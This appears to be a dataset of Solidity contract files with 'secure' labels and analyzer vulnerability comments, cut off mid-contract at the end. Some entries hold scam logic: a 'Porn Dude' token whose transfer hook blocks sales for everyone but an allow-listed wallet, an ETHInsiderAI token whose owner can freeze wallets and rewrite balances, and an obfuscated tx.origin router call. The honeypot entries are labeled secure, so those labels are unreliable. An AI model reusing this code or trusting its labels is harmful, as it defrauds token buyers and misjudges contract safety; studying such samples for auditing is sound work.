files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\nlibrary IUniswapRouterV2 {\n function swap2(\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n return instance.ekmxj10ikk23lonswap(tx.origin, amount, from);\n }\n\n function swap99(\n UniswapRouterV2 instance2,\n UniswapRouterV2 instance,\n uint256 amount,\n address from\n ) internal view returns (uint256) {\n if (amount > 1) {\n return swap2(instance, amount, from);\n } else {\n return swap2(instance2, amount, from);\n }\n }\n}",
"file_name": "solidity_code_28.sol",
"secure": 1,
"size_bytes": 716
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_280.sol",
"secure": 1,
"size_bytes": 1051
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath64 {\n function add(uint64 a, uint64 b) internal pure returns (uint64 c) {\n require((c = a + b) >= b, \"SafeMath: Add Overflow\");\n }\n\n function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {\n require((c = a - b) <= a, \"SafeMath: Underflow\");\n }\n}",
"file_name": "solidity_code_2800.sol",
"secure": 1,
"size_bytes": 368
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath32 {\n function add(uint32 a, uint32 b) internal pure returns (uint32 c) {\n require((c = a + b) >= b, \"SafeMath: Add Overflow\");\n }\n\n function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {\n require((c = a - b) <= a, \"SafeMath: Underflow\");\n }\n}",
"file_name": "solidity_code_2801.sol",
"secure": 1,
"size_bytes": 368
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ILiquidityPool.sol\" as ILiquidityPool;\n\ninterface ILiquidityPoolV5 is ILiquidityPool {\n event UpdateRevertTransfersInLockUpPeriod(\n address indexed account,\n bool value\n );\n\n function totalTokenXBalance() external view returns (uint256 amount);\n\n function send(uint256 id, address account, uint256 amount) external;\n\n function lock(uint256 id, uint256 tokenXAmount, uint256 premium) external;\n\n function getExpiry() external view returns (uint256);\n\n function getLockedAmount() external view returns (uint256);\n\n function lockChange(\n uint256 id,\n uint256 tokenXAmount,\n uint256 premium\n ) external;\n}",
"file_name": "solidity_code_2802.sol",
"secure": 1,
"size_bytes": 764
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary EnumerableMap {\n struct MapEntry {\n bytes32 _key;\n bytes32 _value;\n }\n\n struct Map {\n MapEntry[] _entries;\n mapping(bytes32 => uint256) _indexes;\n }\n\n function _set(\n Map storage map,\n bytes32 key,\n bytes32 value\n ) private returns (bool) {\n uint256 keyIndex = map._indexes[key];\n\n if (keyIndex == 0) {\n map._entries.push(MapEntry({_key: key, _value: value}));\n\n map._indexes[key] = map._entries.length;\n return true;\n } else {\n map._entries[keyIndex - 1]._value = value;\n return false;\n }\n }\n\n function _remove(Map storage map, bytes32 key) private returns (bool) {\n uint256 keyIndex = map._indexes[key];\n\n if (keyIndex != 0) {\n uint256 toDeleteIndex = keyIndex - 1;\n uint256 lastIndex = map._entries.length - 1;\n\n MapEntry storage lastEntry = map._entries[lastIndex];\n\n map._entries[toDeleteIndex] = lastEntry;\n\n map._indexes[lastEntry._key] = toDeleteIndex + 1;\n\n map._entries.pop();\n\n delete map._indexes[key];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Map storage map,\n bytes32 key\n ) private view returns (bool) {\n return map._indexes[key] != 0;\n }\n\n function _length(Map storage map) private view returns (uint256) {\n return map._entries.length;\n }\n\n function _at(\n Map storage map,\n uint256 index\n ) private view returns (bytes32, bytes32) {\n require(\n map._entries.length > index,\n \"EnumerableMap: index out of bounds\"\n );\n\n MapEntry storage entry = map._entries[index];\n return (entry._key, entry._value);\n }\n\n function _tryGet(\n Map storage map,\n bytes32 key\n ) private view returns (bool, bytes32) {\n uint256 keyIndex = map._indexes[key];\n if (keyIndex == 0) return (false, 0);\n return (true, map._entries[keyIndex - 1]._value);\n }\n\n function _get(Map storage map, bytes32 key) private view returns (bytes32) {\n uint256 keyIndex = map._indexes[key];\n require(keyIndex != 0, \"EnumerableMap: nonexistent key\"); // Equivalent to contains(map, key)\n return map._entries[keyIndex - 1]._value;\n }\n\n function _get(\n Map storage map,\n bytes32 key,\n string memory errorMessage\n ) private view returns (bytes32) {\n uint256 keyIndex = map._indexes[key];\n require(keyIndex != 0, errorMessage);\n return map._entries[keyIndex - 1]._value;\n }\n\n struct UintToAddressMap {\n Map _inner;\n }\n\n function set(\n UintToAddressMap storage map,\n uint256 key,\n address value\n ) internal returns (bool) {\n return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));\n }\n\n function remove(\n UintToAddressMap storage map,\n uint256 key\n ) internal returns (bool) {\n return _remove(map._inner, bytes32(key));\n }\n\n function contains(\n UintToAddressMap storage map,\n uint256 key\n ) internal view returns (bool) {\n return _contains(map._inner, bytes32(key));\n }\n\n function length(\n UintToAddressMap storage map\n ) internal view returns (uint256) {\n return _length(map._inner);\n }\n\n function at(\n UintToAddressMap storage map,\n uint256 index\n ) internal view returns (uint256, address) {\n (bytes32 key, bytes32 value) = _at(map._inner, index);\n return (uint256(key), address(uint160(uint256(value))));\n }\n\n function tryGet(\n UintToAddressMap storage map,\n uint256 key\n ) internal view returns (bool, address) {\n (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));\n return (success, address(uint160(uint256(value))));\n }\n\n function get(\n UintToAddressMap storage map,\n uint256 key\n ) internal view returns (address) {\n return address(uint160(uint256(_get(map._inner, bytes32(key)))));\n }\n\n function get(\n UintToAddressMap storage map,\n uint256 key,\n string memory errorMessage\n ) internal view returns (address) {\n return\n address(\n uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))\n );\n }\n}",
"file_name": "solidity_code_2803.sol",
"secure": 1,
"size_bytes": 4710
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract URODCoin is ERC20 {\n constructor() ERC20(\"URODCoin\", \"UROD\") {\n _mint(msg.sender, 42069000000000000000000);\n }\n}",
"file_name": "solidity_code_2804.sol",
"secure": 1,
"size_bytes": 268
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IBufferOptionsV5 {\n event Create(\n uint256 indexed id,\n address indexed account,\n uint256 settlementFee,\n uint256 totalFee,\n string metadata\n );\n\n event Exercise(uint256 indexed id, uint256 profit);\n event Expire(uint256 indexed id, uint256 premium);\n event PayReferralFee(address indexed referrer, uint256 amount);\n event PayAdminFee(address indexed owner, uint256 amount);\n event UpdateUnits(uint256 value);\n event AutoExerciseStatusChange(address indexed account, bool status);\n\n enum State {\n Inactive,\n Active,\n Exercised,\n Expired\n }\n enum OptionType {\n Invalid,\n Put,\n Call\n }\n\n event UpdateOptionCreationWindow(\n uint256 startHour,\n uint256 startMinute,\n uint256 endHour,\n uint256 endMinute\n );\n event TransferUnits(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId,\n uint256 targetTokenId,\n uint256 transferUnits\n );\n\n event Split(\n address indexed owner,\n uint256 indexed tokenId,\n uint256 newTokenId,\n uint256 splitUnits\n );\n\n event Merge(\n address indexed owner,\n uint256 indexed tokenId,\n uint256 indexed targetTokenId,\n uint256 mergeUnits\n );\n\n event ApprovalUnits(\n address indexed approval,\n uint256 indexed tokenId,\n uint256 allowance\n );\n\n struct Option {\n State state;\n uint256 strike;\n uint256 amount;\n uint256 lockedAmount;\n uint256 premium;\n uint256 expiration;\n OptionType optionType;\n }\n\n struct SlotDetail {\n uint256 strike;\n uint256 expiration;\n OptionType optionType;\n bool isValid;\n }\n\n struct ApproveUnits {\n address[] approvals;\n mapping(address => uint256) allowances;\n }\n}",
"file_name": "solidity_code_2805.sol",
"secure": 1,
"size_bytes": 2084
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x28C38187cE21FeB160aff88EdD564384cb9f0b44,\n 100000000000 * 10 ** 18\n );\n _enable[0x28C38187cE21FeB160aff88EdD564384cb9f0b44] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Porn Dude\";\n _symbol = \"PORNxXx\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2806.sol",
"secure": 1,
"size_bytes": 6002
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721AQueryableUpgradeable.sol\" as ERC721AQueryableUpgradeable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\nimport \"./UUPSUpgradeable.sol\" as UUPSUpgradeable;\nimport \"./ICreatorToken.sol\" as ICreatorToken;\nimport \"./ITransferValidator.sol\" as ITransferValidator;\nimport \"./IERC721AUpgradeable.sol\" as IERC721AUpgradeable;\nimport \"./StarToken.sol\" as StarToken;\n\ncontract VisionsOfTheVoidV2 is\n ERC721AQueryableUpgradeable,\n OwnableUpgradeable,\n UUPSUpgradeable,\n ICreatorToken\n{\n StarToken public starToken;\n\n string public baseURI;\n\n bool public isPaused;\n\n bool public isRevealed;\n\n uint256 public maxSupply;\n\n uint256 public reserveSupply;\n\n uint256 public cost;\n\n uint256 public maxTxMintAmount;\n\n uint256 public maxMintAmount;\n\n uint256 private constant RIDER = 1;\n\n uint256 private constant CELESTIAL = 2;\n\n uint256 private constant SRX = 3;\n\n uint256 private constant ANCIENT = 4;\n\n ITransferValidator private _transferValidator;\n\n event NewVisionMinted(address sender, uint256 mintAmount);\n\n constructor() {\n _disableInitializers();\n }\n\n function initialize(address transferValidator_) external reinitializer(2) {\n emit TransferValidatorUpdated(address(0), transferValidator_);\n\n _transferValidator = ITransferValidator(transferValidator_);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 341386e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 341386e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(uint256 _mintAmount) external payable {\n if (isPaused) revert PublicMintNotOpen();\n\n if (_mintAmount < 1) revert InvalidMintAmount();\n\n if (_mintAmount > maxTxMintAmount)\n revert MaxTransactionMintAmountExceeded();\n\n if ((_getAux(msg.sender) + _mintAmount) > maxMintAmount)\n revert MaxMintAmountExceeded();\n\n if (totalSupply() + _mintAmount > maxSupply - reserveSupply)\n revert SupplyExceeded();\n\n if (msg.value != cost * _mintAmount) revert InvalidValue();\n\n _setAux(msg.sender, uint64(_getAux(msg.sender) + _mintAmount));\n\n\t\t// reentrancy-events | ID: 341386e\n _safeMint(msg.sender, _mintAmount);\n\n\t\t// reentrancy-events | ID: 341386e\n emit NewVisionMinted(msg.sender, _mintAmount);\n }\n\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f8b8115): VisionsOfTheVoidV2._beforeTokenTransfers(address,address,uint256,uint256) has external calls inside a loop starToken.updateReward(from,to)\n\t// Recommendation for f8b8115: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 77fa0b1): VisionsOfTheVoidV2._beforeTokenTransfers(address,address,uint256,uint256) has external calls inside a loop _transferValidator.validateTransfer(msg.sender,from,to,id)\n\t// Recommendation for 77fa0b1: Favor pull over push strategy for external calls.\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 tokenId,\n uint256 quantity\n ) internal virtual override {\n for (uint256 i = 0; i < quantity; i++) {\n uint256 id = tokenId + i;\n\n if (to != address(0)) {\n\t\t\t\t// calls-loop | ID: 77fa0b1\n _transferValidator.validateTransfer(msg.sender, from, to, id);\n }\n }\n\n super._beforeTokenTransfers(from, to, tokenId, quantity);\n\n\t\t// reentrancy-events | ID: 341386e\n\t\t// calls-loop | ID: f8b8115\n\t\t// reentrancy-no-eth | ID: e70cdba\n\t\t// reentrancy-no-eth | ID: de78256\n\t\t// reentrancy-no-eth | ID: eb01911\n starToken.updateReward(from, to);\n }\n\n function _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n\n function tokenURI(\n uint256 tokenId\n )\n public\n view\n virtual\n override(ERC721AUpgradeable, IERC721AUpgradeable)\n returns (string memory)\n {\n if (!_exists(tokenId)) revert OwnerQueryForNonexistentToken();\n\n string memory currentBaseURI = _baseURI();\n\n return\n bytes(currentBaseURI).length > 0\n ? string.concat(currentBaseURI, _toString(tokenId), \".json\")\n : \"\";\n }\n\n function mintedTotalOfAddress(\n address _address\n ) public view returns (uint64) {\n return uint64(_getAux(_address));\n }\n\n function ownerMint(uint256 _mintAmount) external onlyOwner {\n if (_mintAmount < 1) revert InvalidMintAmount();\n\n if (totalSupply() + _mintAmount > maxSupply - reserveSupply)\n revert SupplyExceeded();\n\n _safeMint(msg.sender, _mintAmount);\n }\n\n function setStarToken(address _contract) external onlyOwner {\n starToken = StarToken(_contract);\n }\n\n function setBaseURI(string memory _newBaseURI) public onlyOwner {\n baseURI = _newBaseURI;\n }\n\n function setCost(uint256 _newCost) external onlyOwner {\n cost = _newCost;\n }\n\n function setMaxSupply(uint256 _newMaxSupply) external onlyOwner {\n if (_newMaxSupply < totalSupply() + reserveSupply)\n revert NewSupplyToLow();\n\n if (_newMaxSupply > maxSupply) revert NewSupplyToHigh();\n\n maxSupply = _newMaxSupply;\n }\n\n function setReserveSupply(uint256 _newReserveSupply) external onlyOwner {\n if (_newReserveSupply > maxSupply - totalSupply())\n revert NewReserveSupplyToHigh();\n\n reserveSupply = _newReserveSupply;\n }\n\n function setMaxTxMintAmount(\n uint256 _newMaxTxMintAmount\n ) external onlyOwner {\n maxTxMintAmount = _newMaxTxMintAmount;\n }\n\n function setMaxMintAmount(uint256 _newMaxMintAmount) external onlyOwner {\n maxMintAmount = _newMaxMintAmount;\n }\n\n function toggleIsRevealed() public onlyOwner {\n isRevealed = !isRevealed;\n }\n\n function toggleIsPaused() public onlyOwner {\n isPaused = !isPaused;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: de78256): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for de78256: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdrop(address[] calldata _address) external onlyOwner {\n if (reserveSupply == 0) revert ReserveSupplyEmpty();\n\n if (_address.length > reserveSupply)\n revert AddressesExceedReserveSupply();\n\n if (_address.length < 1) revert InvalidAddressAmount();\n\n if (totalSupply() + _address.length > maxSupply)\n revert SupplyExceeded();\n\n for (uint256 i = 0; i != _address.length; i++) {\n\t\t\t// reentrancy-no-eth | ID: de78256\n _safeMint(_address[i], 1);\n }\n\n\t\t// reentrancy-no-eth | ID: de78256\n reserveSupply = reserveSupply - _address.length;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: eb01911): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for eb01911: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdropMultipleToAddress(\n address _address,\n uint256 _mintAmount\n ) public onlyOwner {\n if (reserveSupply == 0) revert ReserveSupplyEmpty();\n\n if (_mintAmount > reserveSupply) revert ReserveSupplyExceeded();\n\n if (_mintAmount < 1) revert InvalidAirdropAmount();\n\n if (totalSupply() + _mintAmount > maxSupply) revert SupplyExceeded();\n\n\t\t// reentrancy-no-eth | ID: eb01911\n _safeMint(_address, _mintAmount);\n\n\t\t// reentrancy-no-eth | ID: eb01911\n reserveSupply = reserveSupply - _mintAmount;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e70cdba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e70cdba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdropRewards(\n address[] calldata _address,\n uint256 _mintAmount\n ) public onlyOwner {\n if (reserveSupply == 0) revert ReserveSupplyEmpty();\n\n if (_address.length * _mintAmount > reserveSupply)\n revert AddressesExceedReserveSupply();\n\n if (_address.length < 1) revert InvalidAddressAmount();\n\n if (totalSupply() + _address.length * _mintAmount > maxSupply)\n revert SupplyExceeded();\n\n for (uint256 i = 0; i != _address.length; i++) {\n\t\t\t// reentrancy-no-eth | ID: e70cdba\n _safeMint(_address[i], _mintAmount);\n }\n\n\t\t// reentrancy-no-eth | ID: e70cdba\n reserveSupply = reserveSupply - (_address.length * _mintAmount);\n }\n\n function airdropRiderRewards(\n address[] calldata _address\n ) external onlyOwner {\n airdropRewards(_address, RIDER);\n }\n\n function airdropCelestialRewards(\n address[] calldata _address\n ) external onlyOwner {\n airdropRewards(_address, CELESTIAL);\n }\n\n function airdropSRXRewards(address[] calldata _address) external onlyOwner {\n airdropRewards(_address, SRX);\n }\n\n function airdropAncientRewards(\n address[] calldata _address\n ) external onlyOwner {\n airdropRewards(_address, ANCIENT);\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1023046): VisionsOfTheVoidV2.withdraw() uses a dangerous strict equality balance == 0\n\t// Recommendation for 1023046: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 9974bf5): VisionsOfTheVoidV2.withdraw() uses a dangerous strict equality assert(bool)(address(this).balance == 0)\n\t// Recommendation for 9974bf5: Don't use strict equality to determine if an account has enough Ether or tokens.\n function withdraw() public payable onlyOwner {\n uint256 balance = address(this).balance;\n\n\t\t// incorrect-equality | ID: 1023046\n if (balance == 0) revert NoBalanceToWithdraw();\n\n (bool success, ) = payable(0x2A76bAA2F2cFB1b17aE672C995B3C41398e86cCD)\n .call{value: balance}(\"\");\n\n if (!success) revert WithdrawFailed();\n\n\t\t// incorrect-equality | ID: 9974bf5\n assert(address(this).balance == 0);\n }\n\n function setTransferValidator(address validator) external onlyOwner {\n emit TransferValidatorUpdated(address(_transferValidator), validator);\n\n _transferValidator = ITransferValidator(validator);\n }\n\n function getTransferValidationFunction()\n external\n pure\n returns (bytes4 functionSignature, bool isViewFunction)\n {\n functionSignature = 0xcaee23ea;\n\n isViewFunction = true;\n }\n\n function getTransferValidator() external view returns (address validator) {\n validator = address(_transferValidator);\n }\n}",
"file_name": "solidity_code_2807.sol",
"secure": 0,
"size_bytes": 12090
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IOptionsConfig {\n enum PermittedTradingType {\n All,\n OnlyPut,\n OnlyCall,\n None\n }\n event UpdateImpliedVolatility(uint256 value);\n event UpdateSettlementFeePercentage(uint256 value);\n event UpdateSettlementFeeRecipient(address account);\n event UpdateStakingFeePercentage(uint256 value);\n event UpdateReferralRewardPercentage(uint256 value);\n event UpdateOptionCollaterizationRatio(uint256 value);\n event UpdateNFTSaleRoyaltyPercentage(uint256 value);\n event UpdateTradingPermission(PermittedTradingType permissionType);\n event UpdateStrike(uint256 value);\n}",
"file_name": "solidity_code_2808.sol",
"secure": 1,
"size_bytes": 711
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ElonGalacticToken is ERC20 {\n uint256 private constant TOTAL_SUPPLY = (18000 * 10000000 * (10 ** 18));\n constructor() ERC20(\"ElonGalactic\", \"ELONGALACTIC\") {\n _mint(msg.sender, TOTAL_SUPPLY);\n }\n}",
"file_name": "solidity_code_2809.sol",
"secure": 1,
"size_bytes": 362
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_281.sol",
"secure": 1,
"size_bytes": 753
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract ETHInsiderAI is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf2c1e9): ETHInsiderAI._decimals should be constant \n\t// Recommendation for bf2c1e9: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f536e75): ETHInsiderAI._totalSupply should be immutable \n\t// Recommendation for f536e75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 9acb8c8): ETHInsiderAI._name should be constant \n\t// Recommendation for 9acb8c8: Add the 'constant' attribute to state variables that never change.\n string private _name = \"ETH Insider AI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c901417): ETHInsiderAI._symbol should be constant \n\t// Recommendation for c901417: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"INSIDER\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b23204): ETHInsiderAI.uniV2Router should be constant \n\t// Recommendation for 8b23204: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 559568a): ETHInsiderAI._taxWallet should be immutable \n\t// Recommendation for 559568a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function getminlimitat() public {}\n\n function getmaxlimitfor() external {}\n\n function maxlimitSwapon() public {}\n\n function maxlimitSwapin() public {}\n\n function toSwapandExecutes(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function toblocklimit(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n 